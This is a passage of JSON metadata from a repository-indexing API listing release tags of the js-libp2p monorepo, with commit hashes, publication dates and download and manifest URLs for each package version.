/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.29/manifests"},{"name":"memory-v2.0.26","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/memory-v2.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/memory-v2.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@memory-v2.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.26/manifests"},{"name":"mdns-v12.0.29","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.29/manifests"},{"name":"logger-v6.2.12","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/logger-v6.2.12","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/logger-v6.2.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@logger-v6.2.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.12/manifests"},{"name":"libp2p-v3.3.8","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.3.8","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.3.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.3.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.8/manifests"},{"name":"keychain-v6.1.6","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/keychain-v6.1.6","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/keychain-v6.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@keychain-v6.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.6/manifests"},{"name":"kad-dht-v16.4.2","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.4.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.4.2/manifests"},{"name":"interop-v14.0.34","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.34","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.34/manifests"},{"name":"interface-internal-v3.1.11","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-internal-v3.1.11","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-internal-v3.1.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-internal-v3.1.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.11/manifests"},{"name":"interface-compliance-tests-v7.0.29","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.29/manifests"},{"name":"integration-tests-v1.2.18","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.18/manifests"},{"name":"identify-v4.1.12","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/identify-v4.1.12","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/identify-v4.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@identify-v4.1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.12/manifests"},{"name":"gossipsub-v16.1.1","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v16.1.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v16.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v16.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v16.1.1/manifests"},{"name":"floodsub-v11.0.28","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/floodsub-v11.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/floodsub-v11.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@floodsub-v11.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.28/manifests"},{"name":"fetch-v4.1.11","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/fetch-v4.1.11","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/fetch-v4.1.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@fetch-v4.1.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.11/manifests"},{"name":"echo-v3.1.11","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/echo-v3.1.11","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/echo-v3.1.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@echo-v3.1.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.11/manifests"},{"name":"dcutr-v3.0.26","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/dcutr-v3.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/dcutr-v3.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@dcutr-v3.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.26/manifests"},{"name":"daemon-v6.0.34","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.34","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.34/manifests"},{"name":"daemon-server-v9.0.34","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.34","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.34/manifests"},{"name":"daemon-client-v10.0.34","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.34","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.34/manifests"},{"name":"crypto-v5.1.22","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/crypto-v5.1.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/crypto-v5.1.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@crypto-v5.1.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.22/manifests"},{"name":"config-v1.1.36","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/config-v1.1.36","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/config-v1.1.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@config-v1.1.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.36/manifests"},{"name":"circuit-relay-v2-v4.2.11","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/circuit-relay-v2-v4.2.11","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/circuit-relay-v2-v4.2.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@circuit-relay-v2-v4.2.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.11/manifests"},{"name":"bootstrap-v12.0.29","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.29/manifests"},{"name":"autonat-v3.0.26","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v3.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v3.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v3.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.26/manifests"},{"name":"autonat-v2-v2.1.2","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v2-v2.1.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v2-v2.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v2-v2.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.1.2/manifests"},{"name":"webtransport-v6.0.33","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.33","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.33/manifests"},{"name":"websockets-v10.1.18","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/websockets-v10.1.18","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/websockets-v10.1.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@websockets-v10.1.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.18/manifests"},{"name":"webrtc-v6.0.28","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v6.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v6.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v6.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.28/manifests"},{"name":"utils-v7.3.1","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/utils-v7.3.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/utils-v7.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@utils-v7.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.3.1/manifests"},{"name":"upnp-nat-v4.0.25","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/upnp-nat-v4.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/upnp-nat-v4.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@upnp-nat-v4.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.25/manifests"},{"name":"transport-interop-libp2p-main-v1.0.34","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.34","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.34/manifests"},{"name":"tls-v3.1.7","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tls-v3.1.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tls-v3.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tls-v3.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.7/manifests"},{"name":"tcp-v11.0.25","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tcp-v11.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tcp-v11.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tcp-v11.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.25/manifests"},{"name":"simple-metrics-v2.0.19","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/simple-metrics-v2.0.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/simple-metrics-v2.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@simple-metrics-v2.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.19/manifests"},{"name":"prometheus-metrics-v5.0.26","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/prometheus-metrics-v5.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/prometheus-metrics-v5.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@prometheus-metrics-v5.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.26/manifests"},{"name":"pnet-v3.0.26","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/pnet-v3.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/pnet-v3.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@pnet-v3.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.26/manifests"},{"name":"plaintext-v3.0.25","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/plaintext-v3.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/plaintext-v3.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@plaintext-v3.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.25/manifests"},{"name":"ping-v3.1.10","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/ping-v3.1.10","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/ping-v3.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@ping-v3.1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.10/manifests"},{"name":"perf-v5.1.10","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/perf-v5.1.10","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/perf-v5.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@perf-v5.1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.10/manifests"},{"name":"peer-store-v12.0.25","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-store-v12.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-store-v12.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.25/manifests"},{"name":"peer-record-v9.0.14","sha":"08189704573cbcd596e3df49e40d596137bf7065","kind":"commit","published_at":"2026-07-26T05:49:07.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-record-v9.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-record-v9.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-record-v9.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/Git